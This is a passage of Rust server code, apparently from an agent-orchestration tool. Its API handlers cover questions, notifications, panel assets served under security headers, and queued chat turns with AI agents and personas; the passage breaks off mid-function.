5816
5817fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5819 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5820}
5821
5822fn question_views(
5825 qs: Vec<Question>,
5826 store: &ask::Questions,
5827 load: impl FnOnce() -> Option<Config>,
5828) -> Vec<QuestionView> {
5829 if qs.is_empty() {
5830 return Vec::new();
5831 }
5832 let cfg = load();
5833 qs.into_iter()
5834 .map(|q| {
5835 let on = deputies_enabled(cfg.as_ref(), &q);
5836 QuestionView::of(q, store, on)
5837 })
5838 .collect()
5839}
5840
5841fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5851 if !q.status.open() {
5852 return None;
5853 }
5854 if q.cwd.is_none() && q.deputy.is_none() {
5855 return crate::deputy::kind_of(q).map(|_| "nobody");
5856 }
5857 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5858 Some(_) if q.deputy.is_some() => "deputy",
5859 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5860 Some(_) => "asker",
5861 None => "nobody",
5862 })
5863}
5864
5865async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5871 blocking(move || {
5872 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5873 Ok(Json(
5874 question_views(ui.questions.list(), &ui.questions, || {
5875 deputy_config(&ui.repo)
5876 })
5877 .into_iter()
5878 .map(|v| v.with_origin(&tasks, &talks))
5879 .collect(),
5880 ))
5881 })
5882 .await
5883}
5884
5885async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5888 blocking(move || {
5889 let items = ui.notices.list();
5890 let unread = items.iter().filter(|n| n.unread()).count();
5891 Ok(Json(
5892 serde_json::json!({ "unread": unread, "items": items }),
5893 ))
5894 })
5895 .await
5896}
5897
5898fn notice_error(e: anyhow::Error) -> ApiError {
5899 ApiError::not_found(format!("{e:#}"))
5902}
5903
5904async fn notification_read(
5906 State(ui): State<Arc<Ui>>,
5907 Path(id): Path<String>,
5908) -> ApiResult<Json<Notice>> {
5909 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5910}
5911
5912async fn notification_dismiss(
5914 State(ui): State<Arc<Ui>>,
5915 Path(id): Path<String>,
5916) -> ApiResult<Json<Notice>> {
5917 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5918}
5919
5920async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5922 blocking(move || {
5923 let changed = ui.notices.mark_all_read()?;
5924 Ok(Json(serde_json::json!({ "marked": changed })))
5925 })
5926 .await
5927}
5928
5929#[derive(Debug, Default, Deserialize)]
5935#[serde(default, deny_unknown_fields)]
5936struct NewAnswer {
5937 choice: Option<String>,
5938 text: Option<String>,
5939}
5940
5941async fn question_answer(
5942 State(ui): State<Arc<Ui>>,
5943 Path(id): Path<String>,
5944 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5945) -> ApiResult<Json<QuestionView>> {
5946 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5947 let answer = match (body.choice, body.text) {
5948 (Some(c), None) => Answer::Choice(c),
5949 (None, Some(t)) => Answer::Text(t),
5950 (Some(_), Some(_)) => {
5951 return Err(ApiError::bad_request(
5952 "send either `choice` or `text`, not both",
5953 ));
5954 }
5955 (None, None) => {
5956 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5957 }
5958 };
5959
5960 blocking(move || {
5961 let id = resolve_question(&ui.questions, &id)?;
5962 let q = ui
5963 .questions
5964 .get(&id)
5965 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5966 if !q.status.open() {
5967 return Err(ApiError::conflict(format!(
5971 "question {} is already {}",
5972 q.short(),
5973 q.status.as_str()
5974 )));
5975 }
5976 let (q, ()) = ui
5980 .questions
5981 .update(&q.id, |r| r.answer(answer))
5982 .map_err(ApiError::bad_request_from)?;
5983 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5984 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5985 Ok(Json(
5986 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5987 ))
5988 })
5989 .await
5990}
5991
5992#[derive(Debug, Deserialize)]
5994#[serde(deny_unknown_fields)]
5995struct NewSay {
5996 body: String,
5997}
5998
5999async fn question_say(
6009 State(ui): State<Arc<Ui>>,
6010 Path(id): Path<String>,
6011 body: std::result::Result<Json<NewSay>, JsonRejection>,
6012) -> ApiResult<Json<QuestionView>> {
6013 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6014 blocking(move || {
6015 let id = resolve_question(&ui.questions, &id)?;
6016 let q = ui
6017 .questions
6018 .get(&id)
6019 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6020 if !q.status.open() {
6021 return Err(ApiError::conflict(format!(
6025 "question {} is already {}",
6026 q.short(),
6027 q.status.as_str()
6028 )));
6029 }
6030 let (q, ()) = ui
6033 .questions
6034 .update(&q.id, |r| r.say(body.body))
6035 .map_err(ApiError::bad_request_from)?;
6036 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6037 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6038 Ok(Json(
6039 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6040 ))
6041 })
6042 .await
6043}
6044
6045async fn question_consult(
6054 State(ui): State<Arc<Ui>>,
6055 Path(id): Path<String>,
6056) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6057 let (view, reclaimed) = blocking({
6058 let ui = Arc::clone(&ui);
6059 move || {
6060 let id = resolve_question(&ui.questions, &id)?;
6061 let q = ui
6062 .questions
6063 .get(&id)
6064 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6065 if !q.status.open() {
6066 return Err(ApiError::conflict(format!(
6067 "question {} is already {}",
6068 q.short(),
6069 q.status.as_str()
6070 )));
6071 }
6072 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6073 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6074 return Err(ApiError::conflict(format!(
6075 "question {} has no chat to ask",
6076 q.short()
6077 )));
6078 };
6079 let cfg = if q.consult.is_none() {
6083 Some(Config::discover(&talk.repo, None)?.0)
6084 } else {
6085 None
6086 };
6087 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6088 let claim = if fresh {
6089 match ui.begin_queued_talk_turn(&talk.id)? {
6090 Some(turn_guard) => {
6091 let talk = ui.talks.get(&talk.id)?;
6092 let cfg = match cfg {
6093 Some(cfg) => cfg,
6094 None => Config::discover(&talk.repo, None)?.0,
6095 };
6096 Some((talk, cfg, turn_guard))
6097 }
6098 None => None,
6099 }
6100 } else {
6101 None
6102 };
6103 let q = ui.questions.get(&q.id)?;
6104 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6105 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6106 Ok((view, claim))
6107 }
6108 })
6109 .await?;
6110 if let Some((talk, cfg, turn_guard)) = reclaimed {
6111 let talks = ui.talks.clone();
6112 let id = talk.id.clone();
6113 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6114 }
6115 Ok((StatusCode::ACCEPTED, Json(view)))
6116}
6117
6118fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6120 if store.path_of(id).is_file() {
6121 return Ok(id.to_owned());
6122 }
6123 pick(
6124 store.list().into_iter().map(|q| q.id).collect(),
6125 id,
6126 "question",
6127 )
6128}
6129
6130async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6145 blocking(move || {
6146 let id = resolve_question(&ui.questions, &id)?;
6147 let Some(html) = ui.questions.panel_html(&id) else {
6148 return Err(ApiError::not_found(format!("question {id} has no panel")));
6149 };
6150 Ok(panel_response(
6151 "text/html; charset=utf-8",
6152 false,
6153 html.into_bytes(),
6154 ))
6155 })
6156 .await
6157}
6158
6159async fn question_asset(
6187 State(ui): State<Arc<Ui>>,
6188 Path((id, name)): Path<(String, String)>,
6189) -> ApiResult<Response> {
6190 if !crate::ask::valid_asset_name(&name) {
6193 return Err(ApiError::bad_request(format!(
6194 "`{name}` is not a usable asset name"
6195 )));
6196 }
6197 blocking(move || {
6198 let id = resolve_question(&ui.questions, &id)?;
6199 let asset = ui
6200 .questions
6201 .panel_asset(&id, &name)
6202 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6203 let Some(bytes) = asset else {
6204 return Err(ApiError::not_found(format!(
6205 "question {id} has no asset `{name}`"
6206 )));
6207 };
6208 Ok(panel_response(
6209 asset_content_type(&name),
6210 is_svg(&name),
6211 bytes,
6212 ))
6213 })
6214 .await
6215}
6216
6217fn asset_content_type(name: &str) -> &'static str {
6230 match extension(name).as_deref() {
6231 Some("png") => "image/png",
6232 Some("jpg" | "jpeg") => "image/jpeg",
6233 Some("gif") => "image/gif",
6234 Some("webp") => "image/webp",
6235 Some("svg") => "image/svg+xml",
6236 Some("css") => "text/css; charset=utf-8",
6237 Some("txt") => "text/plain; charset=utf-8",
6238 _ => "application/octet-stream",
6239 }
6240}
6241
6242fn is_svg(name: &str) -> bool {
6245 extension(name).as_deref() == Some("svg")
6246}
6247
6248fn extension(name: &str) -> Option<String> {
6250 name.rsplit_once('.')
6251 .map(|(_, ext)| ext.to_ascii_lowercase())
6252}
6253
6254fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6271 let mut res = (
6272 [
6273 (header::CONTENT_TYPE, content_type),
6274 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6275 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6276 (header::REFERRER_POLICY, "no-referrer"),
6277 ],
6278 body,
6279 )
6280 .into_response();
6281 if download {
6282 res.headers_mut().insert(
6283 header::CONTENT_DISPOSITION,
6284 HeaderValue::from_static("attachment"),
6285 );
6286 }
6287 res
6288}
6289
6290#[derive(Debug, Serialize)]
6296struct TalkView {
6297 #[serde(flatten)]
6298 talk: Talk,
6299 turn_bodies_md: Vec<Vec<md::Node>>,
6300 thinking: bool,
6308 context: talk::ContextUsage,
6312 operator_name: Option<String>,
6315 persona_name: Option<String>,
6317}
6318
6319impl TalkView {
6320 fn new(talk: Talk, thinking: bool) -> Self {
6323 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6324 Self::with_config(talk, thinking, cfg.as_ref())
6325 }
6326
6327 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6330 let context = talk::context_usage(&talk, cfg);
6331 let turn_bodies_md = talk
6332 .turns
6333 .iter()
6334 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6335 .collect();
6336 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6337 let persona_name = persona::find(specs, &talk.persona)
6338 .filter(|p| !p.is_default())
6339 .map(|p| p.name);
6340 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6341 Self {
6342 turn_bodies_md,
6343 thinking,
6344 context,
6345 operator_name,
6346 persona_name,
6347 talk,
6348 }
6349 }
6350}
6351
6352#[derive(Debug, Serialize)]
6357struct TalkDetailView {
6358 #[serde(flatten)]
6359 view: TalkView,
6360 tasks: Vec<TaskView>,
6361 roster: Vec<RosterEntry>,
6364 personas: Vec<PersonaEntry>,
6367}
6368
6369#[derive(Debug, Serialize)]
6371struct PersonaEntry {
6372 id: String,
6373 name: String,
6374}
6375
6376#[derive(Debug, Serialize)]
6378struct RosterEntry {
6379 id: String,
6380 kind: AgentKind,
6381 runnable: bool,
6383}
6384
6385async fn talks_list(
6390 State(ui): State<Arc<Ui>>,
6391 Query(q): Query<ListQuery>,
6392) -> ApiResult<Json<Vec<TalkView>>> {
6393 blocking(move || {
6394 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6395 Ok(Json(
6396 ui.talks
6397 .list()
6398 .into_iter()
6399 .filter(|talk| q.contains(&talk.id))
6400 .map(|talk| {
6401 let thinking = ui.is_thinking(&talk.id);
6402 let cfg = configs
6403 .entry(talk.repo.clone())
6404 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6405 TalkView::with_config(talk, thinking, cfg.as_ref())
6406 })
6407 .collect(),
6408 ))
6409 })
6410 .await
6411}
6412
6413#[derive(Debug, Default, Deserialize)]
6418#[serde(default)]
6419struct NewTalk {
6420 agent: Option<String>,
6421 repo: Option<PathBuf>,
6422}
6423
6424async fn talk_post(
6427 State(ui): State<Arc<Ui>>,
6428 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6429) -> ApiResult<impl IntoResponse> {
6430 let body = match body {
6434 Ok(Json(body)) => body,
6435 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6436 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6437 };
6438 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6439 let cfg = config_for(&repo).await?;
6440 let view = blocking(move || {
6441 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6442 let thinking = ui.is_thinking(&talk.id);
6443 Ok(TalkView::new(talk, thinking))
6444 })
6445 .await?;
6446 Ok((StatusCode::CREATED, Json(view)))
6447}
6448
6449async fn talk_detail(
6451 State(ui): State<Arc<Ui>>,
6452 Path(id): Path<String>,
6453) -> ApiResult<Json<TalkDetailView>> {
6454 blocking(move || {
6455 let id = resolve_talk(&ui.talks, &id)?;
6456 let talk = ui.talks.get(&id)?;
6457 let thinking = ui.is_thinking(&talk.id);
6458 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6459 .into_iter()
6460 .map(TaskView::from)
6461 .collect();
6462 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6463 let roster = cfg
6464 .as_ref()
6465 .map(|cfg| {
6466 cfg.agents
6467 .iter()
6468 .map(|a| RosterEntry {
6469 id: a.id.clone(),
6470 kind: a.kind,
6471 runnable: agent::installed(a),
6472 })
6473 .collect()
6474 })
6475 .unwrap_or_default();
6476 let specs = cfg
6477 .as_ref()
6478 .map(|cfg| cfg.talk.personas.clone())
6479 .unwrap_or_default();
6480 let personas = persona::catalog(&specs)
6481 .into_iter()
6482 .map(|p| PersonaEntry {
6483 id: p.id,
6484 name: p.name,
6485 })
6486 .collect();
6487 Ok(Json(TalkDetailView {
6488 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6489 tasks,
6490 roster,
6491 personas,
6492 }))
6493 })
6494 .await
6495}
6496
6497#[derive(Debug, Default, Deserialize)]
6503#[serde(default, deny_unknown_fields)]
6504struct NewTalkTurn {
6505 text: String,
6506 attachments: Vec<String>,
6507}
6508
6509#[derive(Debug, Deserialize)]
6510#[serde(deny_unknown_fields)]
6511struct EditTalkPending {
6512 text: String,
6513 expected_text: String,
6514 expected_attachments: Vec<String>,
6515}
6516
6517#[derive(Debug, Deserialize)]
6518#[serde(deny_unknown_fields)]
6519struct ClearTalkPending {
6520 expected_text: String,
6521 expected_attachments: Vec<String>,
6522}
6523
6524async fn talk_say(
6536 State(ui): State<Arc<Ui>>,
6537 Path(id): Path<String>,
6538 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6539) -> ApiResult<(StatusCode, Json<TalkView>)> {
6540 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6541 if body.text.trim().is_empty() && body.attachments.is_empty() {
6542 return Err(ApiError::bad_request("say something"));
6543 }
6544
6545 let id = {
6546 let ui = Arc::clone(&ui);
6547 let asked = id.clone();
6548 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6549 };
6550 {
6554 let ui = Arc::clone(&ui);
6555 let id = id.clone();
6556 blocking(move || {
6557 let talk = ui.talks.get(&id)?;
6558 if !talk.status.open() {
6559 return Err(ApiError::conflict(format!(
6560 "talk {} is {} and takes no more turns",
6561 talk.short(),
6562 talk.status.as_str()
6563 )));
6564 }
6565 Ok(())
6566 })
6567 .await?;
6568 }
6569
6570 let attachments = {
6575 let ui = Arc::clone(&ui);
6576 let id = id.clone();
6577 let ids = body.attachments.clone();
6578 blocking(move || {
6579 ids.into_iter()
6580 .map(|att_id| {
6581 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6582 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6583 })
6584 })
6585 .collect::<ApiResult<Vec<talk::Attachment>>>()
6586 })
6587 .await?
6588 };
6589
6590 let start = {
6595 let ui = Arc::clone(&ui);
6596 let id = id.clone();
6597 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6598 };
6599 let turn_guard = match start {
6600 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6601 TalkTurnStart::Pending => {
6602 return Err(ApiError::conflict(
6603 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6604 ));
6605 }
6606 TalkTurnStart::Foreign => {
6607 return Err(ApiError::conflict(
6608 "a turn is already running in another process; try again when it has finished",
6609 ));
6610 }
6611 TalkTurnStart::Busy => {
6612 let (tx, rx) = tokio::sync::oneshot::channel();
6628 tokio::spawn({
6629 let ui = Arc::clone(&ui);
6630 let id = id.clone();
6631 let said = body.text.clone();
6632 async move {
6633 let written = blocking({
6634 let ui = Arc::clone(&ui);
6635 let id = id.clone();
6636 move || {
6637 let mut talk = ui.talks.get(&id)?;
6638 #[cfg(test)]
6643 if let Some(gate) = ui
6644 .busy_queue_gate
6645 .lock()
6646 .unwrap_or_else(PoisonError::into_inner)
6647 .take()
6648 {
6649 let _ = gate.reached.send(());
6650 let _ = gate.release.recv();
6651 }
6652 if let Err(error) =
6653 talk::queue(&mut talk, &ui.talks, &said, attachments)
6654 {
6655 if let Ok(fresh) = ui.talks.get(&id) {
6656 if !fresh.status.open() {
6657 return Err(ApiError::conflict(format!(
6658 "talk {} is {} and takes no more turns",
6659 fresh.short(),
6660 fresh.status.as_str()
6661 )));
6662 }
6663 }
6664 return Err(ApiError::from(error));
6665 }
6666 let claim = match ui.begin_queued_talk_turn(&id)? {
6677 Some(turn_guard) => {
6678 let (cfg, _) = Config::discover(&talk.repo, None)?;
6679 Some((talk.clone(), cfg, turn_guard))
6680 }
6681 None => None,
6682 };
6683 let thinking = ui.is_thinking(&id);
6684 Ok((TalkView::new(talk, thinking), claim))
6685 }
6686 })
6687 .await;
6688 let (view, reclaimed) = match written {
6689 Ok(pair) => pair,
6690 Err(e) => {
6691 let _ = tx.send(Err(e));
6696 return;
6697 }
6698 };
6699 let _ = tx.send(Ok(view));
6702 if let Some((talk, cfg, turn_guard)) = reclaimed {
6703 let talks = ui.talks.clone();
6704 drain_loop(talk, talks, cfg, id, turn_guard).await;
6705 }
6706 }
6707 });
6708 let view = rx
6709 .await
6710 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6711 return Ok((StatusCode::ACCEPTED, Json(view)));
6712 }
6713 };
6714
6715 let (talk, cfg) = {
6716 let ui = Arc::clone(&ui);
6717 let id = id.clone();
6718 blocking(move || {
6719 let talk = ui.talks.get(&id)?;
6720 let (cfg, _) = Config::discover(&talk.repo, None)?;
6721 Ok((talk, cfg))
6722 })
6723 .await?
6724 };
6725
6726 let talks = ui.talks.clone();
6727 let (tx, rx) = tokio::sync::oneshot::channel();
6742 tokio::spawn({
6743 let ui = Arc::clone(&ui);
6744 let talks = talks.clone();
6745 let id = id.clone();
6746 let said = body.text.clone();
6747 let mut talk = talk.clone();
6748 async move {
6749 let recorded = blocking({
6750 let talks = talks.clone();
6751 move || {
6752 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6753 if let Ok(fresh) = talks.get(&talk.id) {
6754 if !fresh.status.open() {
6755 return Err(ApiError::conflict(format!(
6756 "talk {} is {} and takes no more turns",
6757 fresh.short(),
6758 fresh.status.as_str()
6759 )));
6760 }
6761 }
6762 return Err(ApiError::from(error));
6763 }
6764 Ok((said.trim().to_owned(), talk))
6770 }
6771 })
6772 .await;
6773 let (text, mut talk) = match recorded {
6774 Ok(pair) => pair,
6775 Err(e) => {
6776 let _ = tx.send(Err(e));
6780 return;
6781 }
6782 };
6783 let queued = talk.clone();
6784 let thinking = ui.is_thinking(&id);
6785 let _ = tx.send(Ok((queued, thinking)));
6788
6789 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6790 tracing::warn!("talk {id} turn failed: {e:#}");
6794 }
6795 drain_loop(talk, talks, cfg, id, turn_guard).await;
6798 }
6799 });
6800
6801 let (queued, thinking) = rx
6802 .await
6803 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6804
6805 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6807}
6808
6809async fn talk_pending_resume(
6813 State(ui): State<Arc<Ui>>,
6814 Path(id): Path<String>,
6815) -> ApiResult<(StatusCode, Json<TalkView>)> {
6816 let id = {
6817 let ui = Arc::clone(&ui);
6818 let asked = id.clone();
6819 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6820 };
6821 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6822 return Err(ApiError::conflict(
6823 "a talk turn is already running; the queued draft will be handled by it",
6824 ));
6825 };
6826 let (talk, cfg) = {
6827 let ui = Arc::clone(&ui);
6828 let id = id.clone();
6829 blocking(move || {
6830 let talk = ui.talks.get(&id)?;
6831 if !talk.status.open() {
6832 return Err(ApiError::conflict(format!(
6833 "talk {} is {} and takes no more turns",
6834 talk.short(),
6835 talk.status.as_str()
6836 )));
6837 }
6838 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6839 return Err(ApiError::conflict("there is no queued draft to resume"));
6840 }
6841 let (cfg, _) = Config::discover(&talk.repo, None)?;
6842 Ok((talk, cfg))
6843 })
6844 .await?
6845 };
6846 let view = TalkView::new(talk.clone(), true);
6847 let talks = ui.talks.clone();
6848 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6849 Ok((StatusCode::ACCEPTED, Json(view)))
6850}
6851
6852async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6868 let live_set = Arc::clone(&turn.turns);
6869 let mut turn = Some(turn);
6877 loop {
6878 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6879 tracing::warn!("talk {id} lost its turn lease; not draining further");
6882 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6883 if let Some(turn) = turn.take() {
6884 turn.release(&mut live);
6885 }
6886 break;
6887 }
6888 {
6889 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6892 if live.parking {
6893 if let Some(turn) = turn.take() {
6894 turn.release(&mut live);
6895 }
6896 break;
6897 }
6898 }
6899 let observed = live_set
6903 .lock()
6904 .unwrap_or_else(PoisonError::into_inner)
6905 .queued
6906 .get(&id)
6907 .copied()
6908 .unwrap_or(0);
6909 let drained = blocking({
6910 let talks = talks.clone();
6911 let live_set = Arc::clone(&live_set);
6912 move || {
6913 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6918 let result = if live.parking {
6919 Ok(None)
6920 } else {
6921 talk::drain(&mut talk, &talks)
6922 };
6923 drop(live);
6924 Ok((talk, result))
6925 }
6926 })
6927 .await;
6928 let (next_talk, result) = match drained {
6929 Ok(drained) => drained,
6930 Err(e) => {
6931 tracing::warn!(
6932 status = %e.status,
6933 message = %e.message,
6934 "talk {id} could not start queued-text drain"
6935 );
6936 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6937 turn.take()
6938 .expect("held for the whole loop until released here")
6939 .release(&mut live);
6940 break;
6941 }
6942 };
6943 talk = next_talk;
6944 let drained = match result {
6945 Ok(Some(drained)) => drained,
6946 Ok(None) => {
6947 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6948 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6949 continue;
6950 }
6951 turn.take()
6952 .expect("held for the whole loop until released here")
6953 .release(&mut live);
6954 break;
6955 }
6956 Err(e) => {
6957 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6958 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6959 turn.take()
6960 .expect("held for the whole loop until released here")
6961 .release(&mut live);
6962 break;
6963 }
6964 };
6965 let responded = match turn.as_ref() {
6966 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6967 None => Err(anyhow::anyhow!("the turn guard was released")),
6968 };
6969 if let Err(e) = responded {
6970 tracing::warn!("talk {id} turn failed: {e:#}");
6971 }
6972 }
6973}
6974
6975async fn talk_pending_clear(
6977 State(ui): State<Arc<Ui>>,
6978 Path(id): Path<String>,
6979 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6980) -> ApiResult<Json<TalkView>> {
6981 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6982 blocking(move || {
6983 let id = resolve_talk(&ui.talks, &id)?;
6984 let mut talk = ui.talks.get(&id)?;
6985 if !talk.status.open() {
6986 return Err(ApiError::conflict(format!(
6987 "talk {} is {} and takes no more turns",
6988 talk.short(),
6989 talk.status.as_str()
6990 )));
6991 }
6992 if !talk::clear_pending_if_matches(
6993 &mut talk,
6994 &ui.talks,
6995 &body.expected_text,
6996 &body.expected_attachments,
6997 )? {
6998 return Err(ApiError::conflict(
6999 "queued message changed; reload it before clearing",
7000 ));
7001 }
7002 let thinking = ui.is_thinking(&talk.id);
7003 Ok(Json(TalkView::new(talk, thinking)))
7004 })
7005 .await
7006}
7007
7008async fn talk_pending_edit(
7012 State(ui): State<Arc<Ui>>,
7013 Path(id): Path<String>,
7014 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7015) -> ApiResult<Json<TalkView>> {
7016 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7017 let (view, reclaimed) = blocking({
7018 let ui = Arc::clone(&ui);
7019 move || {
7020 let id = resolve_talk(&ui.talks, &id)?;
7021 let mut talk = ui.talks.get(&id)?;
7022 if !talk.status.open() {
7023 return Err(ApiError::conflict(format!(
7024 "talk {} is {} and takes no more turns",
7025 talk.short(),
7026 talk.status.as_str()
7027 )));
7028 }
7029 if !talk::edit_pending_text(
7030 &mut talk,
7031 &ui.talks,
7032 &body.text,
7033 &body.expected_text,
7034 &body.expected_attachments,
7035 )? {
7036 return Err(ApiError::conflict(
7037 "queued message changed; reload it before editing",
7038 ));
7039 }
7040 let claim = match ui.begin_queued_talk_turn(&id)? {
7041 Some(turn_guard) => {
7042 let (cfg, _) = Config::discover(&talk.repo, None)?;
7043 Some((talk.clone(), cfg, id.clone(), turn_guard))
7044 }
7045 None => None,
7046 };
7047 let thinking = ui.is_thinking(&id);
7048 Ok((TalkView::new(talk, thinking), claim))
7049 }
7050 })
7051 .await?;
7052 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7053 let talks = ui.talks.clone();
7054 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7055 }
7056 Ok(Json(view))
7057}
7058
7059#[derive(Debug, Deserialize)]
7061struct TalkAgent {
7062 agent: String,
7063}
7064
7065async fn talk_agent(
7070 State(ui): State<Arc<Ui>>,
7071 Path(id): Path<String>,
7072 Json(body): Json<TalkAgent>,
7073) -> ApiResult<Json<TalkView>> {
7074 let id = {
7075 let ui = Arc::clone(&ui);
7076 blocking(move || resolve_talk(&ui.talks, &id)).await?
7077 };
7078 let repo = {
7079 let ui = Arc::clone(&ui);
7080 let id = id.clone();
7081 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7082 };
7083 let cfg = config_for(&repo).await?;
7084 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7085 return Err(ApiError::conflict(
7086 "a talk turn is running; change the agent once it has answered",
7087 ));
7088 };
7089 let switched = {
7090 let ui = Arc::clone(&ui);
7091 let id = id.clone();
7092 let cfg = cfg.clone();
7093 blocking(move || {
7094 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7095 .map_err(ApiError::bad_request_from)?;
7096 let mut talk = ui.talks.get(&id)?;
7097 if !talk.status.open() {
7098 return Err(ApiError::conflict(format!(
7099 "talk {} is {} and takes no more turns",
7100 talk.short(),
7101 talk.status.as_str()
7102 )));
7103 }
7104 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7105 Ok(talk)
7106 })
7107 .await
7108 };
7109 let fresh = {
7114 let ui = Arc::clone(&ui);
7115 let id = id.clone();
7116 blocking(move || Ok(ui.talks.get(&id)?)).await
7117 };
7118 let draining = match fresh {
7119 Ok(talk) => {
7120 let draining = talk.status.open()
7121 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7122 let talks = ui.talks.clone();
7123 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7124 draining
7125 }
7126 Err(_) => false,
7127 };
7128 let talk = switched?;
7129 Ok(Json(TalkView::new(talk, draining)))
7130}
7131
7132#[derive(Debug, Deserialize)]
7134struct TalkPersona {
7135 persona: String,
7136}
7137
7138async fn talk_persona(
7142 State(ui): State<Arc<Ui>>,
7143 Path(id): Path<String>,
7144 Json(body): Json<TalkPersona>,
7145) -> ApiResult<Json<TalkView>> {
7146 let id = {
7147 let ui = Arc::clone(&ui);
7148 blocking(move || resolve_talk(&ui.talks, &id)).await?
7149 };
7150 let repo = {
7151 let ui = Arc::clone(&ui);
7152 let id = id.clone();
7153 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7154 };
7155 let cfg = config_for(&repo).await?;
7156 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
